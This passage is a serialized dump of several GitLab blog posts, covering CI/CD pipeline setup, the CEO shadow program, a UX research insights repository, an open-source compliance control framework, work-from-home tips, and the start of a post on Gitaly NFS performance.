order:\n\n### Test\nThe test stage is where the code is assess to ensure there are no bugs and it is working the way it was designed to before it reaches end users. The test stage has a job called deploy-to stage. Unit testing on small, discrete functions of the source may also done. All unit tests running against a code base are required to pass. If they don’t that creates a risk that must be addressed right away.\n\n### Deploy\nThe staging stage has a job called deploy-to-stage, where a team can conduct further tests and validation. It is followed by a production stage with a job called deploy-to-production. If the code passes a series of automated tests, often the build will automatically deploy. [The endpoint is typically pre-production deployment](https://www.techtarget.com/searchsoftwarequality/CI-CD-pipelines-explained-Everything-you-need-to-know). Once the build’s integrity is completely validated by stakeholders, it can be deployed to an actual production environment. Once the build passes pre-deployment testing, in a continuous deployment pipeline, it is automatically deployed to production.Then, it is monitored. To do so effectively requires collecting and [analyzing metrics](https://about.gitlab.com/topics/ci-cd/continuous-integration-metrics/) such as deployment frequency, deployment time and lead time for changes.\n\n## How do I set up a GitLab CI/CD pipeline?\nPipeline templates are useful because writing them from scratch is a time-consuming and onerous process. GitLab has pipeline templates for more than 30 popular programming languages and frameworks. Templates to help you get started can be found in our [CI template repository](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates).\n\nA GitLab pipeline executes several jobs, stage by stage, with the help of automated code.\n\nA continuous integration pipeline involves building something from the scratch and testing the same in a development environment. It might occur to the developers to add something after building the application and pushing it into production. This can be done with the help of continuous integration where we can add the code even after it is deployed.\n\nThis phase includes testing as well where we can test with different approaches in the code.\n\n### CD Pipeline prerequisites \nTo get started, you need to set up an [Ubuntu 18.04 server](https://www.digitalocean.com/community/tutorials/initial-server-setup-with-ubuntu-18-04) along with a sudo non-root user and firewall. You also need at least 1 GB RAM and 1 CPU.\n\n[Docker](https://www.digitalocean.com/community/tutorials/how-to-install-and-use-docker-on-ubuntu-18-04) must be installed on the server.\nA user account on a GitLab instance with an enabled container registry. The free plan of the [official GitLab instance](https://gitlab.com/) meets the requirements. You can also host your own GitLab instance by following the [How To Install and Configure GitLab on Ubuntu 18.04 guide](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-gitlab-on-ubuntu-18-04).\nThen you should create a GitLab project, adding an HTML file to it. Later, you’ll copy the HTML file into an Nginx Docker image, which in turn, you will deploy to the server.\n\n1. Log in to your GitLab instance and click new project.\n2. Give it a proper Project name.\n3. Optionally add a Project description.\n4. Make sure to set the Visibility Level to Private or Public depending on your requirements.\n5. Finally click Create project\n\n## Building better pipelines with Auto DevOps\n\nCI/CD pipelines have automated so much of the development process, however, it will still take time to do the initial work of building and configuring them in your environment. But what if you aren’t sure what all the parts of your CI/CD pipeline should be? What are the best practices you should know at every stage?\n\nIn the past, there have only been two choices: Time-consuming configuration from scratch with complete customization, or an easier auto-configuration with much less flexibility. Developers have longed for the moment where they could click a button and have a complete pipeline with code quality, language detection, and all scripts included with very little manual work.\n\n[Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) is our solution to this problem. It is a pre-built, fully-featured CI/CD pipeline that automates the entire delivery process. Instead of having to choose between time and flexibility, GitLab offers both. In addition to the Auto DevOps template, GitLab offers several CI templates that can be modified as necessary, or you can override specific settings. Want all the power of Auto DevOps for a custom test job? Just override the `script` block for the `test` job and give it a try. Since templates are also modular, teams have the option to pull in only the parts they need.\n\nWe hope this blog post gives you some insight into how we approach pipeline as code and our larger vision for how we’re improving the CI/CD pipeline experience in the future. Automated pipelines increase development speed and improve code quality, and we’re actively working on making them even better and easier to use.\n\nCover image by [Gerrie van der Walt](https://unsplash.com/photos/m3TYLFI_mDo?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/pipes?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[4103,1444,110],{"slug":28624,"featured":92,"template":678},"guide-to-ci-cd-pipelines","content:en-us:blog:guide-to-ci-cd-pipelines.yml","Guide To Ci Cd Pipelines","en-us/blog/guide-to-ci-cd-pipelines.yml","en-us/blog/guide-to-ci-cd-pipelines",{"_path":28630,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28631,"content":28637,"config":28642,"_id":28644,"_type":16,"title":28645,"_source":17,"_file":28646,"_stem":28647,"_extension":20},"/en-us/blog/without-a-shadow-of-a-doubt",{"title":28632,"description":28633,"ogTitle":28632,"ogDescription":28633,"noIndex":6,"ogImage":28634,"ogUrl":28635,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28635,"schema":28636},"Without a shadow of a doubt: Inside GitLab's CEO shadow program","Technical marketing manager Tye Davis did everything from joining investor meetings to battling with the flight simulator at GitLab Mission Control.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680653/Blog/Hero%20Images/sfbaybridge.jpg","https://about.gitlab.com/blog/without-a-shadow-of-a-doubt","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Without a shadow of a doubt: Inside GitLab's CEO shadow program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tye Davis\"}],\n        \"datePublished\": \"2019-07-11\",\n      }",{"title":28632,"description":28633,"authors":28638,"heroImage":28634,"date":28639,"body":28640,"category":299,"tags":28641},[18386],"2019-07-11","\n\nWalking up to the iconic Millennium tower on Monday, [I](/company/team/#TyeD19) was a bit nervous for my first day of the [GitLab CEO shadow program](/handbook/ceo/shadow/). Sometimes, our impression of the CEO is someone who is intimidating and strictly business; they only care about things work related. That persona often results from not having access to the CEO, and the fear that one mistake in their presence may cost your job. The GitLab CEO shadow program proved to be a pleasant departure from this mindset.\n\nEntering GitLab “Mission Control,” I was met with a large apartment turned into a hybrid boardroom with a touch of living space. This is a unique working environment because GitLab is an [all-remote](/company/culture/all-remote/) company that allows GitLab team members to work from their choice of location (home, coffee shop, [van](/blog/how-remote-work-at-gitlab-enables-location-independence/), shared workspaces, surfboard, etc.). So, although you are physically at \"Mission Control,\" most of the CEO shadow program is done via video conferencing. There is no need to go from physical meeting room to meeting room, you simply go from conference call to conference call (woo efficiency!). Six monitors add to the office-like feel of the living room, displaying (amazing) sales data, locations of team members in over 50+ countries, and the DevOps toolchain landscape that GitLab replaces. The boardroom also offers access to gaming systems, a [flight simulator](https://en.wikipedia.org/wiki/X-Plane_(simulator)) and readily available drinks and snacks. I was able to calm my excitement and I settle into the room with the fellow CEO shadow, [Mayank](/company/team/#mayanktahil).\n\n![Mission Control center](https://about.gitlab.com/images/blogimages/ceoshadow_graphs.jpg){: .shadow.medium.center}\nInside GitLab's \"Mission Control.\"\n{: .note.text-center}\n\n### Hitting the ground running\n\nMy first face-to-face meeting with CEO [Sid Sijbrandij](/company/team/#sytses) was on our first CEO-specific call of the day, a public live stream on \"Sid's three biggest remote work challenges\" with [Leo Widrich](https://twitter.com/leowid), co-founder of Buffer. This was the first ice breaker into the CEO shadow program and helped me understand just how inclusive the shadow program is. Sid really made us feel like we belonged on the call by incorporating us into the discussion. His inclusivity lowered my stress a few notches, and I began to understand what was to come in the next few weeks: [transparency](https://handbook.gitlab.com/handbook/values/#transparency).\n\nThe second meeting took the inclusivity of the program a step further, as we joined a group call with the executive team from across the GitLab organization (aka the [E-group](/company/team/structure/#e-group)). You might expect some hesitation in allowing someone who is not an executive to join a meeting where top-level matters are discussed, but the CEO shadow program was made exactly for these types of experiences. The program gives participants full visibility into every working part of building an enterprise company. There was no resistance from the E-group team and upon joining the meeting, I was met with an overwhelming ‘welcome’ to our working session. This alleviated most of my nervousness and truly showcased GitLab’s [collaboration value](https://handbook.gitlab.com/handbook/values/#collaboration) by displaying ‘no ego’ and ‘kindness’ from the executive team.\n\n### The feeling of welcomeness was constant\n\n There were very few circumstances where Mayank and I were not included in meetings due to the sensitivity of the subject. The most eye-opening experience for me was meeting with potential investors in GitLab that represent some of the largest and best-known investment firms in the world. These organizations discussed topics around GitLab’s vision and technology and the firms said they see the incredible upside of GitLab. If I was only able to attend one meeting during the whole program, I would choose this one. My confidence in the direction this company is taking has increased after seeing firsthand how much interest there is from investors in GitLab’s growth. Observing the amount of planning leading up to these meetings between Sid and [Paul, our CFO](/company/team/#pmachle) was a great learning experience. Investors are excited about the future of GitLab as a result of all of the hard work of every GitLab team member. My only disappointment is that the program is only two weeks long and that I won’t get to continue to be part of these developing relationships.\n\n![Shadowing the CEO](https://about.gitlab.com/images/blogimages/tyeshadowingceo.jpg){: .shadow.small.center}\nDoing my best impression of shadowing the CEO's activity in his everyday engagements\n{: .note.text-center}\n\n### Takeaways\n\nThe shadow program was an incredibly enlightening experience. Joining this program gave me an accurate and deeply intuitive understanding of the life of a CEO. Sid has mastered the high velocity of responsibility and full situational awareness that is needed to effectively lead our company as CEO. He also acknowledges that he always has room for improvement – so much so that he has a section of flaws that are listed on the GitLab [CEO handbook page](/handbook/ceo/#flaws). One big takeaway from the shadow program is listed on the CEO page. This is something I believe is the biggest factor to collaborate effectively is what Sid notes about his approach, “Not a flaw but something to know about me, I have [strong opinions weakly held](https://blog.codinghorror.com/strong-opinions-weakly-held/). Or, as someone said, I come in hot but am open to new evidence.” This is applicable across the company (and personally) as we all [iteratively](https://handbook.gitlab.com/handbook/values/#iteration) build a tool that best fits our customer needs, and we must be receptive of adjusting accordingly if new evidence corrects our product vision.\n\nBusiness aside, Sid has some pretty funny GitLab stories. If you ever get the chance to ask him about Burning Man, I promise it’ll be a good laugh. My time in the CEO shadow program was unique, educational, and inspirational. I am thankful for this opportunity and hope that one day I’ll reciprocate in a future exec role. Extra shout out to [Cheri](/company/team/#cheriholmes) who coordinates diligently so that all of us CEO shadows are set up for success. Looking back, the most stressful part of the CEO shadow program was the anxiety the X-Plane flight simulator brought when trying to land an airplane (the landing didn't go well).\n\nPhoto by [Landry Gapangwa](https://unsplash.com/@gapangwa91?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/@gapangwa91?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[676,10921,3798],{"slug":28643,"featured":6,"template":678},"without-a-shadow-of-a-doubt","content:en-us:blog:without-a-shadow-of-a-doubt.yml","Without A Shadow Of A Doubt","en-us/blog/without-a-shadow-of-a-doubt.yml","en-us/blog/without-a-shadow-of-a-doubt",{"_path":28649,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28650,"content":28656,"config":28662,"_id":28664,"_type":16,"title":28665,"_source":17,"_file":28666,"_stem":28667,"_extension":20},"/en-us/blog/building-a-ux-research-insights-repository",{"title":28651,"description":28652,"ogTitle":28651,"ogDescription":28652,"noIndex":6,"ogImage":28653,"ogUrl":28654,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28654,"schema":28655},"Why we built a UX Research Insights repository","One of the biggest challenges faced by UX researchers is organizing and storing user research effectively, so that anyone can find and use insights.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678561/Blog/Hero%20Images/open-course-environment.jpg","https://about.gitlab.com/blog/building-a-ux-research-insights-repository","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we built a UX Research Insights repository\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sarah O’Donnell\"}],\n        \"datePublished\": \"2019-07-10\",\n      }",{"title":28651,"description":28652,"authors":28657,"heroImage":28653,"date":28659,"body":28660,"category":734,"tags":28661},[28658],"Sarah O’Donnell","2019-07-10","\nI joined GitLab around two and a half years ago. At the time, I was GitLab’s first and only UX researcher. I’d hunt out issues in the [GitLab CE](https://gitlab.com/gitlab-org/gitlab-ce/) project where I felt I could add value. Usually, a member of the Product or UX/Product Design team would open the issue, which was often sparked by user feedback from social media, during a customer meeting, or even in response to a prior issue. It was my responsibility to help the teams determine how we could best address user needs, motivations, and pain points, or if the request was an edge case. I documented my research questions and insights in the associated issues living in the CE project. However, this approach had some problems:\n\nBack then, the formatting options available for issues was in its infancy. It was difficult to structure and share data in a clear and concise way. Like most good researchers, I’d always learn more than what I intended to during a study. I created new issues for the insights we weren’t previously aware of and didn’t have documented. Epics didn’t exist yet, so there was no way to collectively group issues from the same study. I could label issues, but we discovered (maybe ironically) with UX research that GitLab’s search functionality needed improvements. The GitLab CE project contains more than 50,000 issues, so trying to find and action an insight was like trying to find a needle in a haystack.\n\nEnter the [UX Research repository](https://gitlab.com/gitlab-org/ux-research) and research reports. As the Product and UX/Product Design teams grew, so did the demand for UX research. Product managers and UX/product designers needed greater visibility into what I was working on so they had a sense of my availability for projects, and I needed a way to manage incoming research requests. We had success by creating a dedicated repository for UX Research requests and then using checklists within issues to track my progress against each request. However, I still had my original problem of needing to store and disseminate research insights. I resorted to Google Docs and began producing reports of my insights. This worked well for a little while, but then the cracks started to show.\n\n## The problem with reports\n\n### They are not searchable\nWhenever anybody asked me if I had witnessed users experiencing a particular problem, I’d rack my brain trying to work out which research report might contain the answer. I’d sift through multiple reports, scanning everything I had previously written. The situation became worse when we added new UX researchers to the team who began producing their own reports. I had a vague idea of what was in my own reports, but I didn't know where to start with reports produced by other UX researchers.\n\n### They create research silos\nAs I searched through dozens of reports, I realized research findings were inaccessible. UX researchers were spending a large part of their days searching through past insights, when their time would be better spent speaking with users and uncovering new insights. Everybody should be able to find research swiftly and easily without needing a researcher to find it for them.\n\n### They are not actionable\nAt GitLab, we use issues to solve problems, develop ideas, and collaborate. [One of our values is iteration](\n/handbook/values/#iteration): We do the smallest thing possible and get it out as quickly as possible. UX research reports were not small; they often contained many insights. Just one insight could lead to multiple, iterative changes to the user interface. We ended up copying parts of our reports into issues, which felt like a duplication of effort.\n\n### They quickly become outdated\nOur research reports directly addressed the research questions formed with the Product and UX/Product Design teams and were extremely focused on a topic or feature. GitLab is a rapidly growing product; consequently, our research reports became outdated very quickly. Reports that felt ‘old’ or ‘stale’ were rarely revisited, but the reports contained insights that could be triangulated with more recent research. Reports didn’t provide an easy way to access this important data in the future.\n\n## Finding a solution\nI wanted to confirm whether people outside of the UX Research team also felt these problems. I set up 1:1 interviews with every product manager at GitLab. In these interviews, I learned reports weren’t working for our product managers either. If something requires their attention, they want it in an issue.\n\nI read (lots) of articles on [Atomic Research](https://medium.com/@tsharon/foundations-of-atomic-research-a937d5da5fbb) and realized we could use a similar approach for managing our insights. Better yet, I felt we could [dogfood](https://handbook.gitlab.com/handbook/values/#dogfooding) our approach.\n\n## Introducing the UXR Insights repository\n\nThe [UXR Insights repository](https://gitlab.com/gitlab-org/uxr_insights) is the new single source of truth for all user insights discovered by GitLab’s UX researchers and UX/product designers. Instead of reports, we use issues to document key findings from research studies.\n\nYou may be wondering why we reverted to issues, given the problems of a couple of years ago. GitLab’s [issue functionality](https://docs.gitlab.com/ee/user/project/issues/#issues) has improved immensely since then. There’s now a range of formatting options for issues, and our [search functionality](https://docs.gitlab.com/ee/user/search/#issues-and-merge-requests-per-project) includes the ability to search by labels.\n\nWe use labels to tag and organize insights. This allows anyone to quickly search and filter through issues to find the insights they need. Unlike in a report, insights are continually added. This means that you’ll receive a dynamic list of results when searching through the repository.\n\nWe use [epics](https://docs.gitlab.com/ee/user/group/epics/) and GitLab’s [related issues functionality](https://docs.gitlab.com/ee/user/project/issues/related_issues.html) to track issues from the same research study. The epic description usually contains our research methodology and any background information about users.\n\nOpen issues and epics indicate that the research study is still in progress and the UX researcher and/or UX/product designer is still adding insights to the repository. Closed issues and epics indicate that the research study is finished.\n\nEach insight is supported with evidence, typically in the form of a video clip or statistical data. Unlike the atomic research approach, some lightweight research synthesis takes place before insights are added to the repository (which is why we also call them ‘insights’ rather than ‘nuggets’ or ‘observations’). While every issue within the repository contains a single insight on a particular topic, the insight can relate to multiple users.\n\nFor example: We’re conducting some usability testing. Four out of the five users we tested with experienced the same problem. Rather than open four separate issues, we’ll create one issue, but we’ll include four supporting pieces of evidence (four video clips – one for each user) in the single issue.\n\nWe’re also experimenting with using the UXR Insights repository for quantitative forms of research, such as surveys. Each survey insight focuses on a key theme/question (for example: mobile usage) and is supported by data derived from the survey results.\n\n## Challenges and what the future holds\n\nOur biggest challenge was transferring all our research reports into the [UXR Insights repository](https://gitlab.com/gitlab-org/uxr_insights). The team has collected a lot of data over the years, so it was a mammoth task. We never envisioned moving our research to an insights repository when we originally wrote and formatted our reports. Retrospectively adding insights means we’ve had to make some compromises; we haven’t always been able to use the insight structure that we want to use going forward.\n\nA second challenge is training new and existing members of the UX department how to use the insights repository. We believe [everyone can contribute](\n/company/mission/#mission). The UX Research team are not gatekeepers to research. We want everyone to be able to conduct research effectively and to be able to accurately add their findings to the insights repository. As a starting point, we’ve added [templates](https://docs.gitlab.com/ee/user/project/description_templates.html) to the repository that guide users through the process of adding insights.\n\nWe decided to keep our insights separate from the GitLab CE and EE projects, which is where our Product and UX/Product Design teams typically work. Not all of our insights are necessarily actionable right away – sometimes more evidence is required (especially with the gems we unintentionally discover during our studies). We needed a place where we could store and share these insights, while continuing to discuss and research them. The UXR Insights repository is within the [GitLab.org group](https://gitlab.com/gitlab-org), meaning that product managers who create [issue boards at a group level](https://docs.gitlab.com/ee/user/project/issue_board.html#group-issue-boards) to manage their workflow can simply add an insight to their board when they are ready to act on it. Or they can [cross-link](https://docs.gitlab.com/ee/user/project/issues/crosslinking_issues.html#crosslinking-issues) to the insight in a supporting issue or epic.\n\nThis is our first iteration of the UXR Insights repository. We expect improvements will be required along the way, and the UX team is planning to review how the repository is working after 90 days. However, early signs indicate that (unsurprisingly) no UX researchers are missing writing reports!\n\nCover image by [chuttersnap](https://unsplash.com/photos/Y94yKEyNjVw) on [Unsplash](https://unsplash.com)\n{: .note}\n",[2249,2248],{"slug":28663,"featured":6,"template":678},"building-a-ux-research-insights-repository","content:en-us:blog:building-a-ux-research-insights-repository.yml","Building A Ux Research Insights Repository","en-us/blog/building-a-ux-research-insights-repository.yml","en-us/blog/building-a-ux-research-insights-repository",{"_path":28669,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28670,"content":28676,"config":28682,"_id":28684,"_type":16,"title":28685,"_source":17,"_file":28686,"_stem":28687,"_extension":20},"/en-us/blog/creating-the-gitlab-controls-framework",{"title":28671,"description":28672,"ogTitle":28671,"ogDescription":28672,"noIndex":6,"ogImage":28673,"ogUrl":28674,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28674,"schema":28675},"Adobe CCF becomes GitLab's open source control framework","We've implemented and adapted an open source compliance framework. Now we're sharing our process and tools so you can adapt and customize it too.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683200/Blog/Hero%20Images/geraldo-stanislas-unsplash.jpg","https://about.gitlab.com/blog/creating-the-gitlab-controls-framework","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Turning the Adobe CCF into the GitLab Control Framework (it's all open source!)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jeff Burrows\"}],\n        \"datePublished\": \"2019-07-10\",\n      }",{"title":28677,"description":28672,"authors":28678,"heroImage":28673,"date":28659,"body":28680,"category":674,"tags":28681},"Turning the Adobe CCF into the GitLab Control Framework (it's all open source!)",[28679],"Jeff Burrows","\nIn my previous blog post, I talked about [how GitLab went about choosing an overarching compliance framework](/blog/choosing-a-compliance-framework/) that would optimize satisfying the requirements of underlying regulatory or industry best practice requirements. Today I’m blogging about the next steps in that process, and will walk through how we implemented the [Adobe open source compliance framework (CCF)](https://blogs.adobe.com/security/2017/05/open-source-ccf.html) and adapted it to our needs, resulting in the GitLab Control Framework (GCF).\n\n## Implementation and adaptation\n\nWhen you download the Adobe CCF you get two PDF documents: a whitepaper on the state of compliance at Adobe and a table of all the generic CCF controls. The first thing we did was to convert the CCF controls PDF to a CSV so we could more easily make changes to the data. Most of these changes were to make the control statements specific to GitLab and our compliance needs.\n\nWe were careful when making changes to ensure that we weren't changing anything foundational about the statement, as this could break the mapping to underlying requirements. For example, [PCI DSS](https://www.pcisecuritystandards.org/documents/ASV_Program_Guide_v3.0.pdf) states that an organization must “run internal and external network vulnerability scans at least quarterly and after any significant change in the network (such as new system component installations, changes in network topology, firewall rule modifications, product upgrades).” If you were to make the frequency of the [Vulnerability Scans control](/handbook/security/security-assurance/security-compliance/guidance/vulnerability-and-patch-management.html#controls) “annual” instead of “quarterly,” that control would no longer map to PCI DSS control 11.2 since that underlying PCI control requires at least quarterly scanning.\n\n### Now we have a set of security controls specific to GitLab’s compliance needs\n\nWe found it helpful to create a prefix for each domain (e.g. AM for Asset Management, BC for Business Continuity, etc.) of controls and use these to create control numbers for each control (e.g. AM.1.01, BC.1.04, etc.). With this information in place, the real fun started.\n\nThere are 184 default controls. This number will expand or contract based on your individual needs. For example, if you have a need for FedRamp certification you might have different control requirements than an organization that doesn't. This is a lot of controls to try and roll out all at once, and most organizations don’t need to address all of the underlying control frameworks simultaneously. At GitLab, we knew that a SOC2 certification was the first compliance priority for us and, based on these needs, we started by prioritizing all controls that mapped to SOC2’s Common Criteria. This gave us a list of 63 controls – a much more manageable starting point.\n\nFor these 63 controls we wanted to build out additional content relating to each. In particular, we wanted a Markdown file that addressed each of the following topics for each control:\n\n* Control Statement\n* Context\n* Scope\n* Ownership\n* Implementation Guidance\n* Reference Links\n* Examples of evidence an auditor might request to satisfy this control\n* Framework Mapping\n\nMost of this information can be seen within the [security control pages in our handbook](/handbook/security/security-assurance/security-compliance/sec-controls.html); however, some of these topics contain sensitive information so we have a repo only accessible to GitLab team members.\n\n### The last steps in this implementation process were to:\n\n1. Identify the teams within GitLab that were responsible, accountable, consulted, and informed for each of our 63 prioritized controls, and then\n2. Perform a gap analysis for each of these controls to see what our starting point was for each, in terms of our state of compliance.\n\nThe above steps each build on the previous ones, and help to ensure enough baseline context and requirements were established and that we understood the context and scope for each control sufficiently to perform the gap analysis.\n\n## Adopting the GCF and future plans\n\nOur goal in sharing the details behind our compliance framework implementation is to lessen the adoption effort for smaller companies and GitLab customers alike. We’ve created a [public repo that has a copy of the csv file we adapted from the Adobe CCF](https://gitlab.com/gitlab-com/gl-security/public-gcf) and a link to a view-only [Google Sheet with all of these controls and variables in place](https://docs.google.com/spreadsheets/d/1xmACTt5WD_u8OL0z8G0oUv7Di9J4DWHuy2kamch_7-g/edit#gid=907478311) to make adaptation to your organization as easy as possible.\n\nWe’re currently working on scripts that turn SOC2 and HIPAA-related controls into individual issues within a GitLab project. We’re also working on a CSV-to-JSON tool that would easily convert the control CSV into a large data blob, making deployment for certain organizations easier.\n\n**We plan to make these tools available as they are ready but we also want to hear from you.** *What features would make the adoption of these controls easier? How are you using GitLab to help with your compliance needs? What else can GitLab contribute to the security compliance industry to help companies of all sizes align with security best practices and reduce the effort needed for external security validations/certifications?* **Leave us a comment below!**\n\nPhoto by [geraldo stanislas](https://unsplash.com/@pixelsucker?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on Unsplash\n{: .note}\n",[815,674],{"slug":28683,"featured":6,"template":678},"creating-the-gitlab-controls-framework","content:en-us:blog:creating-the-gitlab-controls-framework.yml","Creating The Gitlab Controls Framework","en-us/blog/creating-the-gitlab-controls-framework.yml","en-us/blog/creating-the-gitlab-controls-framework",{"_path":28689,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28690,"content":28695,"config":28700,"_id":28702,"_type":16,"title":28703,"_source":17,"_file":28704,"_stem":28705,"_extension":20},"/en-us/blog/tips-for-working-from-home-remote-work",{"title":28691,"description":28692,"ogTitle":28691,"ogDescription":28692,"noIndex":6,"ogImage":28190,"ogUrl":28693,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28693,"schema":28694},"How to live your best remote life","GitLab team members offer their best advice on working from home (and it might surprise you).","https://about.gitlab.com/blog/tips-for-working-from-home-remote-work","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to live your best remote life\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jarka Košanová et al\"}],\n        \"datePublished\": \"2019-07-09\",\n      }",{"title":28691,"description":28692,"authors":28696,"heroImage":28190,"date":28697,"body":28698,"category":6634,"tags":28699},[28346],"2019-07-09","\nIf there’s one thing GitLab team members ought to be experts at by now it’s [how to work from home](/company/culture/all-remote/).\n\nThat’s why we asked for your single best [work-from-home](/blog/eliminating-distractions-and-getting-things-done/) tip. The answers – involving cars, snacks, clothing, exercise, and the importance of a closed door – just might surprise you.\n\n## The definition of done\n\nThis well-known software development concept applies equally to working at home. [Jarka Košanová](/company/team/#jajina_k), backend engineer, stresses the importance of flexibility when it comes to deciding when to end the work day. “Many people who start working remotely have a problem recognizing they should stop working for the day. It is easy to advise setting a time when you finish your work in the same way as if you were in an office. But then you kind of lose the flexibility working from home is about. What helped me was my husband returning home from his work. If I had a day without any big break I knew it was time to finish my work as well. If I had a day with a break, I knew, on the other hand, I still could work a bit more and it would be ok.”\n\n## Start your engines\n\nIf you’ve been used to a commute as the first part of your day, this tip senior content editor [Valerie Silverthorne](/company/team/#valsilverthorne) borrowed from a friend is for you. “A work-at-home friend starts his day off by jumping in his car and driving around his neighborhood. When he pulls back in to his driveway, his ‘commute’ is complete and he’s ready to start his day.”\n\nOthers at GitLab have their own, perhaps more carbon-friendly, versions of this ritual. [Daniel Gruesso](/company/team/#danielgruesso), Configure product manager, has a good plan that involves a different kind of locomotion. “Getting out of the house before I start my day is very important for me. Either walking the dog or going for a swim to clear my head and get the blood flowing.”\n\n## Literally dressing for success\n\n### No PJs\n\nClothes make the person, even, apparently, in a work-from-home culture. No PJs for Secure frontend engineer [Sam Beckham](/company/team/#samdbeckham), at least. His top tip: “Getting dressed. It might be tempting to work in your pyjamas all day (and I occasionally still do) but getting dressed and presenting yourself as if you were to be going to an office job can go a long way towards getting you into a working mindset.”\n\n### Dress comfy\n\nOf course, there’s dressed, and then there’s dressed up, which is a significant difference according to [Heather Simpson](/company/team/#Heatherswall), senior external communications analyst, Security. “(I) agree, getting dressed is crucial for me… although I appreciate the attire I feel comfortable with wearing here at GitLab vs at my old company (where I worked remotely for 10 years). I now feel completely comfortable in a hoodie.”\n\n### Have a uniform\n\nContent marketing associate [Suri Patel](/company/team/#suripatel) takes a different tack with her clothing. She’s assembled a work uniform that draws a distinct line between time on and time off. “I have a hard time not thinking about work after I close my computer, so I have 10 black shirts (they were on sale), specific sweaters, and trousers that I only wear while working. The last thing I want to do is pair my favorite dress with a stressful project and be reminded of that while at the beach.”\n\n## A routine routine\n\nWe know we like [boring solutions](https://handbook.gitlab.com/handbook/values/#boring-solutions) and a lot of us really like/need/want a routine, particularly when it comes to working from home. [Carol Wainana](/company/team/#carowangar), service support agent, likes a routine. “Having a fixed routine that is time to wake up, time to start working, time for lunch and time to log off has been really beneficial for me.” And Heather agrees. “For me, a routine is helpful too – I start my day with coffee and checking out Twitter for interesting articles to read and/or share. This eases me into the day but still helps me stay informed and able to share thoughtful articles, etc., on the regular (mostly).”\n\nBut a routine doesn’t necessarily work for everyone, as [Tanya Pazitny](/company/team/#tpazitny), interim quality engineering manager, Secure & Enablement, points out. “I think you need to throw the concept of “nine to five” out the window and actively experiment to find what schedule lets you make the most of your time. I often find the midday slump to be so real, so if i'm feeling this way I step away for a while and then come back for a few hours in the evening when I generally feel supercharged.”\n\n## The magic of a door\n\nFor some of us work at home productivity starts with a closed door. That’s definitely true for Create senior backend engineer [Nick Thomas](/company/team/#nick.thomas). “(There need to be) clear signals to other inhabitants about whether you can be disturbed or not. When I'm in the spare room, the rule is simple – if the door is closed, do not come in.”\n\nHis other tip involves walking through the door and to somewhere else. “Also, I find it really helpful to work from ‘not home’ every now and again. A change is as good as a rest.”\n\n## The snack struggle is real\n\nTanya and [Mario de la Ossa](/company/team/#mdelaossa) both think remote work peril lies in the cupboard. “Keep junk food out of your house or you'll graze all day,” Tanya warns. Mario, backend engineer, Plan, agrees: “If I know there are snacks I WILL eat them, so I keep none in the house.”\n\n## The takeaway\n\nPerhaps [Brad Downey](/company/team/#TechBradD), strategic account leader, southern California, sums it up best: “Get dressed, have a proper work area (not the couch), and don’t eat lunch at your desk.”\n\nHave a great idea we didn’t mention? Leave it below and we’ll add it, and these, to the handbook.\n",[754,676,3798],{"slug":28701,"featured":6,"template":678},"tips-for-working-from-home-remote-work","content:en-us:blog:tips-for-working-from-home-remote-work.yml","Tips For Working From Home Remote Work","en-us/blog/tips-for-working-from-home-remote-work.yml","en-us/blog/tips-for-working-from-home-remote-work",{"_path":28707,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28708,"content":28714,"config":28719,"_id":28721,"_type":16,"title":28722,"_source":17,"_file":28723,"_stem":28724,"_extension":20},"/en-us/blog/git-performance-on-nfs",{"title":28709,"description":28710,"ogTitle":28709,"ogDescription":28710,"noIndex":6,"ogImage":28711,"ogUrl":28712,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28712,"schema":28713},"What we're doing to fix Gitaly NFS performance regressions","How we're improving our Git IO patterns to fix performance regressions when running Gitaly on NFS.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670065/Blog/Hero%20Images/git-performance-nfs.jpg","https://about.gitlab.com/blog/git-performance-on-nfs","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What we're doing to fix Gitaly NFS performance regressions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"James Ramsay\"},{\"@type\":\"Person\",\"name\":\"Zeger-Jan van de Weg\"}],\n        \"datePublished\": \"2019-07-08\",\n      }",{"title":28709,"description":28710,"authors":28715,"heroImage":28711,"date":28716,"body":28717,"category":734,"tags":28718},[24597,19968],"2019-07-08","\nFrom the start, Gitaly, GitLab's service that is the interface to our Git data,\nfocused on removing the dependency on NFS. We achieved this task at the end\nof the summer 2018, when the [NFS drives were unmounted on GitLab.com][gitaly-nfs-blog].\nThe migration was geared towards improving the availability of Git data at\nGitLab and correctness, that is: fixing bugs. To an extent, performance\nwas an afterthought. 